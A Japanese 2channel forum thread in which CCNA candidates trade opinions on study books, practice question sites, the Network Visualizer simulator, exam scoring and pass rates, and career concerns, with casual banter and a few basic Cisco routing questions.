^^^^^^^^^^^^^^^^↑^^^^^^^^^^^^^^^^^^^^^^^^^^
ここんところが同じだから混同しやすい。

間違ってたら、誰かフォローしといて。

両方とも、波線の一行上が重要な気がするんだが？

>>604
何か違うような気がするんだが

CCNAおちた俺様がきましたよ

たとえば、192.168.10.0のネットワークで２３Bitマスク以下を使うとCIDR
この場合、クラス無視してるからな。

192.168.10.0のネットワークで、場所によって/30とか/28とかの/24以下で上手くやりくりするのがVLSM



ですか？

意外とこの違い理解してない奴多いのね。
教えてやらんけどｗ。

おまえら、ボケた俺の立場をどうしてくれるんだ？
だれも、突っ込まないんだよ。
責任とっておまえが謝れ↓

責任をとることと謝罪することは全く別だと思います。

Network Visualizerって本当に役に立つの？
高いね。

合格するためだけなら役立つ。
それ以上を求めるなら実機。
実機触れる環境なら全く必要無い。

正直3万は高い。
1万なら買う。

俺はその程度の認識。

NV4買ったんだけど、Catalystが一個も配置出来ないんだけど？
どうなｔってんだよｗｗｗｗ

>>613
ご愁傷様です、としか言えないな
評判悪いのは知ってたけど、ほんと買わなくてよかったわ

>>613
俺のは普通に配置してトポロジ作れますけど？
当然VLANもできている。

普通に配置できるが・・・＞カタリスト

>>613はどうせ
割れ物でも拾い食いしたんじゃねぇの？

FOM出版の本ってさ　２００４年６月が　最新版なの？

第二版はないわけ？　近所の本屋にあるんだけどさ。

これが最新だったら買うんだけど・・・。

最新版か　どうやったら確認できるかな？　

すげぇな。
これだけお勧め書籍でてんのに別の買うなんて。

>>617
ｵﾏｴ割れのNV4使ったことあるの？
俺のは割れですが問題なし。

FOM出版の本、ここではあまり話題にはならないけど評判は良いようだよ。
使ったことないけど、CD-ROMの内容が良いらしい。

F社員乙

NV4withBSCIなんだけど、長時間使った後に、3550配置しようと思ってもできないよ。

NV4起動直後なら配置できるけど、今度はDelキーを押して「はい」を選んでも
3550が削除できないし。
どうなってるんだ・・・

ちなみに正規品ですよ。ｌ

コンピュータメーカーの中でダントツの利益をあげてるIBMでもリストラか
コンピュータ業界はおしまいだ


【再編】IBM、1万人強のリストラ計画を発表[05/05/05]

http://news18.2ch.net/test/read.cgi/bizplus/1115256636/

ＰｗＣからロクでもないのが増えた分じゃねーの？

>>623
スレで聞く暇あったらサポート行け馬鹿

>>626
CCNAも取れない低脳ﾃﾗﾜﾛｽｗｗｗｗ

明日CCNA受けてくる！
独学で黒本と日経認定ガイドで勉強した。

わくわくしてきたぞ！
RIP2、EIGRP、OSPF問題を落とさないように
気をつけるぜ！
合格したらピンサロ直行だ！

先々週合格してきたけど、黒本程度の生易しい問題はなかったよ。
認定ガイドをしっかり理解してるなら大丈夫だろうけど｡

黒本はなんであれだけ定評があるのか不思議だね。
俺は黒本も日経BPの問題集も両方やったが、日経の方が
少しだけレベルが高い分まだマシだ。
>>629
についても禿同。黒本は簡単過ぎて今やほとんど役にたたん。
黒本攻略すれば合格できるなんて過去の話になってきている。
本試験と同じ位難易度が高い問題集はまだ出んのか？今のところ皆無。

いや、黒本だけで合格できるのが一般人だと思われる。

>>631
お前いつの合格者だよ

3月に合格した者だけど、問題集は暇つぶし問題有料版でいいと思う
先月からリモートラボ始めたみたいだし、独学派にはうってつけ
黒本問題集は買ったけど結局手をつけなかったよ

てか、本試験そんな難易度高いか？
確かに考えさせる問題は多かったけどさ

　　　∧∧
　　（　 ･ω･）　　今日も勉強しませんでした・・・
　 ＿|　⊃／(＿＿_
／　└-(＿＿＿_／
￣￣￣￣￣￣￣

　 ＜⌒／ヽ-、_＿_
／＜_/＿＿＿＿／

まあ完全に範囲内を憶えれば合格できると思うが、普通わからないような問題は
とけないと前提した場合、ぎりぎりの合格は可能かも？

>595
あれ、全部じゃなくてよかったんだっけ？
NA再合格 or NP1教科合格と。

いいわけないでしょ。
ネタだよ、ネタ。

　　　∧∧
　　（　 ･ω･）　　今日は１章だけ進んだぞ
　 ＿|　⊃／(＿＿_
／　└-(＿＿＿_／
￣￣￣￣￣￣￣

　 ＜⌒／ヽ-、_＿_ 酒飲んで昼寝
／＜_/＿＿＿＿／

P検3級程度の実力から黒本教科書を勉強し始めて、今5日目。1日60ページ平均。
3週間でなんとかするつもりだったが…正直ムズイなこりゃ。

>>638
早く起きろや。
今日は二章やったらエッチなご褒美上げる約束だったろ。
いらないの？
あと8分待つけど。

>>640

　 ＜⌒／ヽ-、_＿_
／＜_/＿＿＿＿／

　　　∧ ∧
　　（　 @�u@） ﾅﾝﾀﾞﾄッ！
　 ＿|　⊃／(＿＿_
／　└-(＿＿＿_／
￣￣￣￣￣￣￣

　　　∧∧
　　（　 ･ω･）　　今日も勉強しませんでした・・・
　 ＿|　⊃／(＿＿_
／　└-(＿＿＿_／
￣￣￣￣￣￣￣

　 ＜⌒／ヽ-、_＿_
／＜_/＿＿＿＿／

黒本だけで受験するつもりです
MCPも赤本だけじゃあ全くだめでした

>>643
黒本かねぇ、個人的には出題範囲確認用にしかならんかった覚えが・・・
兎に角健闘を祈る

以下チラシ裏------

つーわけで認定キットｷﾀ━━━━(ﾟ∀ﾟ)━━━━!!!!
・・・・・って、
認定証と能書き２枚、名刺サイズのカード一枚

いや、期待なんぞするだけ馬鹿と判っていたがやっぱりショボかった
さぁ受験料納付するか('A`)・・・・

>>644
>名刺サイズのカード一枚

今初めて知ったorz
認定キット確認したら能書き書の間にカード発見ｗ
今まで認定書と能書き2枚だけだと思ってた・・・

あれってビニールコーティングされた紙だよね
受験料考えたらプラスチック製でもよさそうなもんなのに
CCNPも一緒なのかね？

>>644
俺も今日届いた　ＭＣＰと同じで宅急便でくるかと思ったら
郵便できやがった・・・配達員ポストに無理やり押し込んで
グシャグシャになってしまった・・・
中身見てまぁいいかと思わされる内容だな('A`)

>>647
あれって、普通郵便じゃないでしょ？おかしくない？
配達証明か何かだったぞ
留守にしてたら不在票入ってたので、ハンコ持って郵便局まで取りに行ったよ

おまいら時間配分はできてますか

解いた問題を見直せないのはシスコぐらいのもんだと思うけど
ふんぎりがつくし戻れない方が気分的に楽じゃね？

>>648
ｳｿﾀﾞﾛ・・・・＿|￣|○
何で俺だけ普通郵便なんだよ・・・

648だけど、よーく考えたら外国から来るのに配達証明とかないか・・・
配達員の判断かも
ちなみに届いたの3日くらい前
不在票の差出人の欄に、”外国”と書いてて笑った

おれはCCNAキットは佐川急便の飛脚メール便。
そして今日CCNPのキットが国際郵便で届きます。

うちにも本日合格証がとどいたよ。郵便で。
情報処理試験の賞状と比べるとかなりかっこいいけど、値段が3倍にしちゃちゃっちいなぁ。
トットコでさえプラスチックの認定カードなのに。(ただし、有料だったかも･･･)

5/2合格者どす
個人的な感想等

・黒本は問題集としては、もう時間の無駄。
あんなシンプルな問題あんまりでないし、シンプル問題だから問題数が無駄に多い。
例えば黒本問題３問やるより、同じ３つの事柄を押さえた複合問題１問やったほうがいいと思う。
基礎の確認にいいけど何回も確認してる暇があったら暇つぶし問題有料版でもしたほうがよい。
ただ、勉強初期段階で教科書として１回通すには良い本かもしれない。
黒本教科書版は勉強した気になれるから評判が良いのではと思う。

個人的には黒本を効率も含めてで考えたら
黒本問題集を教科書として１回＞使わない＞＞黒本教科書版
　＞＞＞黒本問題集を何回も繰り返す

・秀和が問題演習時に参考書として一番使える（コレ重要だと思うのでオススメ。

・認定ガイドはクドイし問題演習時に参考書には不向き。

・いくら理解してても、初見の問題と１回やった問題（類問含む）では要する時間が違う。
昔の"これ覚えれば合格"なスクールの問題集見たけど最近の問題（実際受験した問題含む）と昔の問題比べたら１問あたりに要する時間が増えた。
そのへんも「難易度が上がった」の理由のような気がする。
ＮＡはなんだかんだで時間との戦い。

・また最近の合格率落としは問題が高度になったというより、試験範囲広げたり、比較的参考書等で重要項目と呼ばれるものから外した問題（黒本が無駄の理由の１つ）を出すとかのような気がする。

・あと、ＮＡ楽勝とかＮＡごときとかの意見はかなり頭のよろしいかたか運のよろしかったかたか昔合格した人の自慢だから気にしないほうが良い。問題が難しいかは別にして合格は難しくなっている。訓練は必要かも。

・たぶん合格率落とし今後も進む気配だから早く受験しましょう。いまのところ暇つぶし問題有料版がよいですよ。

、、、とＮＡごときの皆様にとってはﾌﾟでしょうが、それなりに苦労した凡人以下よりこれから受ける人への合格自慢でした。

>>654
おめ！俺もがんばります。

>>654
便所の落書きがほとんどの２ｃｈでは、珍しく有益な情報。乙
最近になって試験を受けた者としたは、この情報かなりの禿同。
特にこのあたり

>・また最近の合格率落としは問題が高度になったというより、試験範囲広げたり、
比較的参考書等で重要項目と呼ばれるものから外した問題（黒本が無駄の理由の１つ）
を出すとかのような気がする。

エッ？俺か？落ちたよ、悪かったな。

RipV2の問題ってどんな内容が出てるの？

なんか最近新しい問題集出たけど、買った人いる？
タイトルは・・えっと・・忘れたｗ

>・たぶん合格率落とし今後も進む気配だから早く受験しましょう。
３年で失効だと、合格後も勉強しないと意味ないのでは・・・・
会社で一時金でるなら別として。

今週合格、時間30分以上余り
マスタリングTCP/IP、日経BPガイド、黒本問題集、Webで見つかる問題、スクールの教材、件の模試、等を使用

・知識等を身につけるのに一番使えたと言えるのはマスタリングTCP/IP
NA受けるってことになる前からずっと読んでたからってのもあるけど
やっぱり基礎的なことは確実に分かってないとだめだと思う。
・ガイドはCCNA的な解釈の確認とかWAN系の遺失技術の部分で。
普通で考えたらおかしいって内容もCiscoがどう考えてるか、が焦点だから
これかSOFTBANKのを、持って無くてもいいけど確認出来ないと落とす部分出てくる。
・黒本は問題慣れって意味では悪くないと思うが、これやれば受かるかっていうと
かなり厳しいと。黒本は日本人が書いた日本語の本で、本試験とかガイドは
外人が書いた単語だけ日本語な別の言語と考えるべき。
・Webのもまぁ問題慣れ用
・スクールの教材はまぁよくも悪くも内容をまとめた物、秀和か日経併用が前提。
・合格に一番関係したのは残念ながら模試(半分以上は模試まんまだった気がする)。

さーNP頑張ろう、、、

>>660
どこの模試がお勧めですか？

>>657
CIDR表記のクラスレス・ネットワークにRIPがかかって、

コマンドを選択する問題。
引っ掛けは、クラスフルで書かれているコマンド
俺は、引っかかった。

うちの研修に2週間とか、3週間とかで合格している人らがいるんだけど
そのうちの一人は、シュウワのテキスト、をくまなく呼んで、有料版の暇つぶし問題
を9割以上とけるようにしてから、チャレンジしてた。
俺は、いまだに、5割しか取れない。
会社に対しての責任もあるから、プレッシャーばかり・・・・
今日は、ネット環境のある実家に帰ってきたから、暇つぶし問題　解いたけど、5割だった　どうしよう。
後2週間で取れなけりゃ、クビかも。

なんだよ。うそかよ。たて読みかよ。心配して損した。

>>660
>件の模試　とはなにか、自分も知りたいです
研修での取得に失敗したので次しくじったら後が無い・・・

CCNAって難易度で言ったら基本情報より上ですか？
.COM　Master☆☆より上ですか？

件のってのは上の方で出てたスクールとかで出る模試
ぶっちゃけ問題流出してるとしか思えない訳でどこのスクールでも同じかと

CCNAの難易度・・・
範囲自体異なるから比較するのはムズイです。
とりあえず、私は基本情報、初級シスアド、やってから
ＣＣＮＡ受けてますが、個人の趣味で受けるとなれば、
ＣＣＮＡの方が気は楽です。リベンジがすぐできるし。

ただ、競争研修なんかで１ヶ月以内で取れなければ、切り落としとかになると、
ＣＣＮＡでも十分脅威、プレッシャーです。

暇つぶし問題の高難易度が８〜９割実力で解けるようになると、合格間近といわれますね。
それに比べれば、半年一度の基本情報合格の方が難しいかな。

少なくとも基本とシスの午前問題よりはCCNAムズイです。
早い人では、勉強初めて２，３週間でとる人もいるそうです。競争社会で死にそうです。

問題の難しさなら☆☆はCCNAより遙かに簡単な気がするが
年に一度の☆☆と比べれば、すぐに再受験できるCCNAの方が
「取得自体の難易度」という意味では低いんだろうな

あれ？☆☆って年２回だっけか・・・覚えてないや

マイペースにゆっくり情報集めながらやるんだったら、
ＣＣＮＡの方がいいよな。うまくやれば、２〜３ヶ月で取れるし。

★★もCCNAもどちらも暗記だから、どっちも簡単。
ただしCCNAのほうが当然ベンダー系だから新しく覚えることが多いので難しく感じるだけだ。
比較すらならん。

最近ベンダー系の試験だとCCNAが一番人気あるよな！！
企業も一番注目してると思う

MCPやORACLEは人気落ち気味だね

模試発見！
みんなぁ発見したよ俺ぇ。タックじゃねえかよ。
http://www.tac-school.co.jp/it/itpro/ccna.html

すぐに出来ないんじゃ意味ないや・・・

150000ってありえねぇｗｗｗｗｗｗｗｗｗ

>>674
WANの概要やIOSの概要など基本的な内容を学習できるので安心です。

・・・

>>677
それじゃなくて、その下のＷＥＢ模試なんだけど。どうなんだろ。効き目あるのかな？

CCNA Web模擬試験コース
★2005年1月6日申込受付開始
CCNAのWeb通信講座では、Web上で模擬試験を手軽に受講していただけます。直前対策として、本試験前の総仕上げを行ってください。（【注】シミュレーション問題は、含まれません。）

■開講形態


■メリット ●本試験に近い出題傾向で受験前の最終確認として抜群の効果！
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■教材一覧 ※教材は、ありません。全てWeb上での学習となります。
※模擬試験問題は、TACの教室講座・資料通信講座の問題と同じ内容のものです。重複してお申込にならないようご注意ください。

受講コース 標準学習期間 模擬試験回数 通常受講料
CCNA Web模擬試験コース【入会金不要】 2ヵ月 48問（90分）×2回 \6,000

注意事項
(1) 各模擬試験は、TACの教室・Labo・資料通信講座で使用している試験問題と同じ内容です。重複してお申し込みにならないよう、予めご注意ください。
(2) Web通信講座は、TAC商品取扱代理店でのお申し込みはできませんのでご注意ください。
(3) お申し込みの前にデモサイトにて動作確認をお願い申し上げます。（デモサイトは只今準備中です。）
(4) CCNAのWeb通信講座は、テキスト等の教材は付属しておりません。
(5) CCNA Web模擬試験には、シミュレーション問題は含まれません。ご注意ください。

CCNA 模擬試験コース【入会金不要】 1カ月 3h×3回＝9h \20,000

あとこれなんかどうだろう。・・・やったことある人、感想キボンヌ。

(5) CCNA Web模擬試験には、シミュレーション問題は含まれません。ご注意ください。

つーか宣伝乙。
こんなの受けなくてもうかるっつーの

トラブルシューティングの項目５５％しか
取れなくて、８３５点で落ちた・・・
対策は何やればいいですかね？

これほんとうに研修2週間でとれるのかなぁ・・・
こんどCCNA講座はじまるんだけど心配になってきた・・・・

マスタリングTCP/IPは読めるんだけどね・・・

>>683
研修でスクールみたいなトコでやるなら1週間で取れる

俺？落ちたよ

>>683
読むだけなら小学生でも読めるよ

おまえみたいな単細胞は何年かけても受からないよｗ

喪前らよ、ＮＰスレに閑古鳥がないとるぞ。
はやくＮＡとってＮＰスレを盛り上げてくれよ。

>>683 m9（^Д^）

研修受けてりゃ取れるだろう普通に。馬鹿？

>>686
NP受けなくても転職ならNAで十分。
NP受ける必要があるのは、実際にCisco機器を仕事で使う人間だけだよ。
NAで転職できないような奴は、NP取ってもできないな。

>>688
つーか、どうせＮＰレベルの知識がなければ役にたたんだろｗ
転職する前に理論だけでもある程度学んでいた方がいいと思うがな。

黒本で１００点取れるまで訓練して試験に臨めば９００点オーバは固いと思う。

黒本かぁ　↑の方見る限り評判落ちてきてるみたいだけどまだ使えるのかな。買うべきか否か・・・

>>691
オレも黒本→暇つぶし（有料）か、暇つぶし（有料）のみかで迷ってる。
実際どうなんだろうね？

>>692
暇つぶし（有料）のみでOKだって

ここでいう高難易度問題90％以上取れるようになったらって言うのは1回目の事を言ってるの?
あれって2回目以降やると答え覚えちゃってるから
ホントの実力で90％とか取れてるのかよくわかんない…

1回目で90%取れる人はまずいないんじゃないか？
繰り返しやって90%取れるようになれば十分合格ラインだと思う
答え丸暗記じゃなくて、間違えた問題の解説に目を通すようにすれば

>>694
じゃあそうしようかな、でも解説付きは高いのね、\6k

まちがい　>>694

>>695
サンクス！

専門行ってるんだけど学校的にはイントロを受けてICND取れっていうんだよね
イントロ受けるのめんどくさいから高難易度問題徹底的にやれば受かるかな？

>>698
専門か。そのままネット系に就職したら高確率でCCNA研修させられると思う。てか俺がそう
既に取得してたらどうなるか分からんけど

>>696
問題集としては高めだけど、一度落ちるごとに15000円位余計にかかる
このくらいの出費は惜しんではいけない

>>698
高難易度以外もちゃんとやれば大丈夫
俺は高難易度90%、それ以外は95%できるまでやった


ちなみに俺は間違った問題をツール使ってスクリーンショット撮って保存して、
解説を繰り返し繰り返し読んだ。んで、ある程度覚えたところでまた普通に問題
解いてチェック。90%なるまで普通に繰り返すとすでにわかってる問題も何度も
やることになって時間がやたらかかるからね。

>>699
今就活中だからどうしても欲しい…
ちなみに今のレベルは黒本のみの勉強でイントロ20点足りなくて落ちました…

CCNA持ってなくてもNE系の仕事って内定もらえるもんですか？

>>700
すごい参考になった！
プリントアウトとかした?

　とりあえず、取得したら派遣会社に登録しょうと思います。

　未経験なので、仕事もらえるかどうか　わからないけど。

　会社が倒産して、今３３で　出直しです。

>>702
枚数が半端じゃなかったので、プリントまではしなかった
実際には、正解した問題であっても解説に自分が知らない事が書いてたりした
場合は全部スクリーンショット撮って保存していたからね

>>701
新卒だったら必要ないって何度いったら分かるんだ？？？？？？？

＞703
おたがいがんばりましょう！

>>692
両方
試験料15kが一番馬鹿らしいから
手抜かないで出来ることは全部すべき

日経ＢＰの問題集の話題があまり無いなぁ・・
認定ガイドがアレだけど問題集の方は実際のテスト向きで役に立ちました。

>>707
できること全部やってたらいくら時間あっても足りないと思うのだが

　認定ガイドもスキルアップ問題集も　わからないところが
出たときに　確認用に使うのがいいんだよ。

　いきなり出題形式の問題練習を暗記していくのが早道なんだゾ。
そんなにパターンやネタはないから４〜５日　あれば十分だろう。

>>701
貰える事は貰えるよ。
まぁ仮に取得に失敗してもその道の会社に入るんであれば取得の機会が与えられると思うからそのときに有利だよ

そんな大枚はたかなくたって、認定ガイド一冊あれば合格できるだろう。
工業高校卒の俺でさえ一発で通った資格だぞｗ

>>712
効率のいいやり方ってのをみんな考えてるんだろよ

>>712
お前がどんな状況で勉強してたかわからんが、みんながお前みたいな状況じゃないだろ
仕事で疲れてなかなか勉強時間取れないような香具師だっているし

>>710
まじで！？
オレはスキルアップ問題集をまじめに理解しながら進めてたよ、、
よく考えたらNAじゃダイアラープロファイルの設定なんかでないよな

暇つぶし問題集（有料）ってクレカ支払いすればすぐ使えるようになるのですか？

英語でもいいので、シミュレーション練習できるようなところないですか・・・？

随分昔にciscoのサイトにシミュレータがあった気がする　今もあんのかな

質問です。
VLANのswitchport modeを知るのに
show run 以外にありますか？

ない

>>720
サンクス。
なんかめんどくさいね。
もう少しSHOW系が充実してたらいいのに・・・

＞７１６

　すぐ使えるようになるよ。

　オレが疑問なのは、同時に使えるリモート
でシミュ対策が万全なのかなぁ〜ってこと。

　バーチャライザーやcertim買わないといけない
のかなぁ〜（鬱）

超初心者でスクールで学ぼうと思ってるんだけど、
どこがお勧めですか？　実機実習が多い方がいいんだけど。

>>723
こういう質問は質問者と回答者が同一と見られて営業って言われるだけだよ。

今日は　アクセスリストと　サブネットのホストの数
などの計算練習をやったよ。

具体的には、黒本の事例を繰り返し見てパターンを
覚えただけ。終わったら、暇つぶし問題やろうかな。

show version の結果で
メモリとかの容量出ると思うんだけど
見方がわかりません。
解説している分かりやすいHPありませんか？

(,,ﾟДﾟ)∩先生質問です
3層までしか使わないルーターのFW機能のパケットフィルタリングってIPアドレス以外にポート番号見て
通すかどうか決めてるけど3層までしか取り扱えないのにポート番号見て判断してるのは何故でつか？

>>719
show interface [interface name] switchport
もいける

>>726
真ん中あたりで「xxxxx/xxxxxK」って書かれてるのがRAMの容量。左右足せばOK
下の方で「xxK」って書かれてるのがNVRAMの容量。
そのすぐ下に「ｘｘｘｘｘK」って書かれてるのがFlashの容量。同じ行の右側に「〜〜flash」ってあるからすぐわかると思う。

>>727
上位層に渡す前に捨てるかどうかを判断する

ルータに付いてるインターフェイスの事もポートと呼んでいるのであって、
それに割り振られているポート番号と呼ばれるものと、
アプリケーションに割り振られるポート番号とは別物だからじゃない？
この理解であってるかなあ。

>>729
意味のわからんこと言うなよ

>>730
すまん

スパニングツリープロトコル
スプリットホライズン
この辺てごっちゃにならない？

>>728
サンクス

明日受けてくるよ。
前回８３５点・・・
VLANの
内部ローカル
内部グローバル
外部ローカル
外部グローバル
の違いがはっきりしねぇっぇぇぇ

>>733
それはNATじゃないのか？

>>734
スマヌ。マチガエタヨ。
マタオチソウダヨ・・・・・

972点で合格。
勉強辛かった…。

９７２なんてがんばりすぎ

落ちたんだけど…
Planning and Design　だけ100%だった w
Implementation and Operation
Troubleshooting
Technology
こういう分類されてるけど…ｼﾐｭはどこに含まれてるんですか？
知ってる方、ｼﾐｭで満点の自信があって100%が出た項目など
ご存知の方がいましたら教えてください。

ど〜しても、ｼﾐｭができたのかできなかったのかよくわからないので…
あれで良かったのかなぁって感じ　orz　ﾖｸﾜｶﾗﾝ

>>663
それはｷﾂｲ　
漏れは資格手当てもらうためにＣＣＮＡ取りたいんだけど…
やっと仕事が落ちついたので、ﾌﾞﾗﾝｸあったけど受験したら落ちた　orz
資格取れないとｸﾋﾞって会社はｷﾂｲﾃﾞﾂﾈ

>>736
すごいな！、オイラは今のところ黒本ですら６〜７割だよ
時間かかりそうだ

水曜日に受験予定です。
暇つぶしの高難易度問題で九割位です。
大丈夫かな？

暇つぶし問題は簡単だよ
本番はもう少しだけ難しい。

CCNAって合格率何％くらいなんですか？
公表されてないみたいですが、皆さんの考えの中で、です。

70%くらいじゃないのか。

まぁそのくらいだろうね。
なんせ平均点が合格点超えてるしなぁ。

CCIE合格目指してやるぞおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおお！！！！！！！！！！！

会社が資格取れ資格取れって言うのは、
派遣するときに資格があったほうが売れやすいからだな

人売り派遣会社じゃなかったらCCNPとかいらないな

資格は要らないNW系の仕事続けるならがCCNPレベルの知識は必要になってくるだろ

>>745
CCNAの合格者の平均点てどこでわかるの

>>745
間違えた単純に平均点はどこでわかるの

ここでわかるの

何点満点で、何点で合格ってciscoのHPに書かれてます？
http://www.cisco.com/japanese/warp/public/3/jp/event/tra_ccc/ccc/certprog/testing/current_exams/640-801.shtml#examtop
この辺見てるんだけど点数とかについては書かれてないのでつ(´・ω・｀)ｼｮﾎﾞｰﾝ

>>752
資格フリークの受験記みれ

849点って何問まで間違えられるの？

だいたい５問かな。
シミュは配点高いからシミュ落とすと他に２問くらいしか間違えられない。

俺も基本情報技術者取れたからこれを次は取ろうと思う
受ける奴、一緒に頑張ろう

>>755
試験前のアンケートで何点か加算されるって聞いたことあるんですけと、どうですか？
その場合、あと何問か余裕かできるのでは？

>>757
アンケートで点数プラスされたら、全問正解した場合に点数がおかしくなりませんか？

>>755
では、ｼﾐｭ全滅でも合格するのは可能なんですね？

>>755
そんなに敷居が高いの？
ほとんど完璧にしないと合格できないんですね

５０問くらいしか出ないんだから全然敷居高くないと思うが。
基本的に知ってりゃ解けるタイプのテストなんだし。
免許の試験と同じようなもんだ。

10問ぐらいは間違えられると思うよ。
シミュに正解すればの話だけど。
それと、CCNAフリークを見てると、
凄く難しくなって暇つぶし有料版を買わないと
合格できないみたいな気がしてくるけど、
問われる知識としては黒本レベル。
黒本だけで900はとれるよ。

スレの最初の方だと「認定ガイド＋黒本では駄目」みたいな話もあるが…
どっちなんだ((((；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

黒本だけではダメって言うのは何故なのかが知りたいです。
実際の試験では黒本に載ってない範囲の知識が求められるのでしょうか？

誤解を恐れずに書くと

黒本・・・おとなしい
本試験・・・えぐい

試験範囲の学習ならともかく、本試験の独特な雰囲気っつーのかなぁ。
それが黒本には無い。

さすがにシュミを２問間違って合格した人は聞いた事がないね。
アンケートは３００点という噂だし、残り、700点中シュミが２問で１５０点として、
残り４８問を割ると１問あたり、何点でしょうか？？
シュミを制覇すれば、さすがに５問間違ったらアウトと言う事はなさそうだ。

今はシミュ一問だよ。
CCNAふりーくの受験記を見ると
14点刻みの点数になる人がほとんどなんで、
一問14点なのかなぁと思うんだけど、
そうなるとシミュやD&Dの点数が低くなりすぎる。
簡単な問題は10点や12点になってるのかな？

黒本だけだとダメだってのは、黒本みたいな
わかりやすい問い方してこない問題が
それなりの数あるからだと思う。
黒本＋応用力、ではなく、黒本＋日本語理解力って感じ。

黒本にない範囲の問題もでるけど、それはどの本も同じだし、
言ってみればどの試験も同じ。出ても5%ぐらいでしょ。

シュミ
シュミ
シュミ
シュミ
シュミ

日本語理解力
日本語理解力
日本語理解力
日本語理解力
日本語理解力
日本語理解力

未だに黒本で受かるとか言ってる時代ｵｸﾚな奴がいるｗ

資格マニアの方、

【　　　楽に取れるハッタリ資格　１〜２級　　　】
http://school4.2ch.net/test/read.cgi/lic/1114278118/l50

へ、なんちゃって資格をどしどしお寄せください　　m(__)m

実際に受けてみて実感する難しさは、
「２つ選択」とか「３つ選択しろ」ってのが多いこと。
３つ選択が特にｲﾔだ。３つ正解しないと０点だし。
全問が、２つ選択以下の問題なら、かなり受かりやすいと思う。

2つ選択と3つ選択の違いってないんじゃない？
正しい記述を2つ選べ＝誤っている記述を3つ選べみたいなものでしょ？

選択肢って6つも7つもあったっけ？

49問中1問シミュ問題で、そのシミュ問題をパスして、862点で合格したんだけど
配点どんなもんなんだろ？選択題は何問くらい間違えたんかなぁ？

>>773
お前バカだな

CCIP,CCSP,CCIEのおれが事情によりCCNA受けてきてやる　900はいきたいです

984点で
合格出来ました。
2chにはお世話になりました。
今度は、出来ればここで恩返ししたいですね。

>>776
なんで？　つうかやめろ！

秀和システムがこんなことを申しております。

書籍のオビでご案内しております、新出題傾向の総合問題については、現在準備中です。
　しばらくお待ちくださいますよう、お願いいたします。
　（CCNAの出題傾向の変化に追従した追加問題のダウンロードが可能になります。）

ttp://www.shuwasystem.co.jp/books/7980/0711-0/0711-0.html

>>779
たった数ヶ月で問題増やした版に変更して直前に古いほう買っちゃった人に対してなんの対応もしなかった黒いのの会社とは大違いだな。
誤植ばっかりの会社かと思ったが見直したぜ秀和。
まあ黒いのも問題少ないのでも受かったからどうでもいいや。

>>779
ネタかと思ったらマジみたいだな
秀和やるじゃないか

>>773さんの新理論によると合格率は合格者と不合格者の２通りですので５０％となります。

>782
おまえ馬鹿だな

シミュレーション問題ってどこまでが範囲内なのですか？
すべてのプロトコル？

>>784
範囲と訊ねられればすべて
でも出題されるのは現在はアレだけ

>>785 アレとは？

>>786
�@過去ログ参照
�ACCNAふりーくの受験記参照

>786
唇



とCCNA未受験の俺(自称)が言ってみるテスト

862点でぎりぎり合格した。
苦手なWANの問題が多かった・・・
シミュレーションはRIPの設定で超簡単だったから助かったけどｗ

認定ガイド第三版持っているのですが、これではもう対応出来ないですかね？

>>790
よーし、CCNAを849点でパスした俺が明日認定ガイドを立ち読みして確かめてやるぜ！
第四版しかなかったらｺﾞﾒﾝな。

IT派遣会社のリンク集です　つかってね

http://www.ne-ex.jp/#1

IT派遣会社のリンク集です　つかってね

http://www.ne-ex.jp/#1

>>791
よろしくお願いしまつ。m(__)m

>>779
新しいの来たよ。
ttp://www.shuwasystem.co.jp/books/7980/0711-0/1.html

ISDN覚えられね〜

>>795


　　　∧∧
　　（　 ･ω･）　　ダウンロードしたよ。でも今日は寝る。
　 ＿|　⊃／(＿＿_
／　└-(＿＿＿_／
￣￣￣￣￣￣￣

　 ＜⌒／ヽ-、_＿_
／＜_/＿＿＿＿／

>>794
ごめんよ、地元の本屋に３版はなかった・・・orz
でも相変わらず、何処か分かり難いところが日経ＢＰらしいな。

ついでに時々話題にあがってた日経ＢＰの「問題集」も立ち読み。
感想は「試験前の仕上げ＆本試験演習向け」って感じ。
勉強始めたばかりで取り組むにはちょっとｷﾂｲかな？
でも簡単すぎる黒本よりはマシかも

第３版は以前の６４０−５０７対応だから、新出題分野が書かれていないよ。
逆に言えば、７割くらいは共通しているから、新出題分野は立ち読みでも他の問題集でも買って
補えばいいんじゃないか。
俺も第３版をブックオフで買って６４０−８０１との差分は立ち読みと他の問題集でカバーした。

＞７９３

　派遣会社、サンキュ。これから登録するよ。
仕事しないと、カネだけじゃなくて、困るんで。
面接ガンバロー♪

>>796
俺が受けたときはWAN技術はほとんど出なかったよ。
安心汁

ccna、lpicなんてやっちゃいけない資格だろ。

>>801
最近はＷＡＮ技術を絡ませて出てくるんだよ。
ＷＡＮ技術は通信事業者しかわからないから、
正直対策がしずらくなってるってはなしだよ。

>>803
俺受けたの1週間前だけど

>>802
マジで？？？？？？
俺が持ってる資格CCNAとLPICだけなんだけど？？？？？

>>794です

７９８さん、お返事が送れました。ありがとうございました。m(__)m

認定ガイドは少し難しいです。黒本を終わらせた後に使ってみる
事にしました。

７９９さん、差分は他の書籍でカバーする事にしますです。
レスありがとうございました。

>>800
自演乙！

このテストって何問中何問正解で合格？
シスコ独自のコマンドやプロトコルについては何割ぐらいでるの？

ＣＣＮＡ合格したら給料の手当てが毎月３０００円つくことに気づいた。（今まで知らんかった。）
もひとつ上のやつで５０００円。
でもこれって合格しても保有期限があるんだよね？
３年たったら消えるんでしょ？

はあ〜
会社で、新しいIPアドレスをネットワークに追加したら、通信できず・・
調べてみると、ベンダーに任せてあるのCiscoルータにスタティックルートの記述があり、
RIPで流れていた。
CCNA勉強してたので、スタティックルート削除する位出来るけど、通信障害が怖くて結局出来なかった。
ベンダーに依頼すると、8万円・・・
なんだか虚しくなってきた。

>>810
パラメータ保存しといて
おかしくなったらすぐ戻せばいいじゃん。

>>809
ええなー、ウチの会社はＮＰまで合格祝い金しか出ねぇ
NAは1.5萬　ＮＰなんてたったの3萬だし・・・orz

(´Д｀)・・・・ｶﾜｲｿ
受験料さえ取り戻せないね・・・・

うちの会社はベンダー資格は一律一時金で3万のみだ。

>>810
削除するんじゃなくてルーティングテーブルに
新しいＩＰの情報を追加するんじゃないの？

ところでこのテストって何問中何問正解で合格？
シスコ独自のコマンドやプロトコルについては何割ぐらいでるの？

>>810
イマイチ意味がわからないが・・・

>>815
ルーティングテーブルに新しいIPを追加するとは？
ポリシールーティングの事を言ってる？

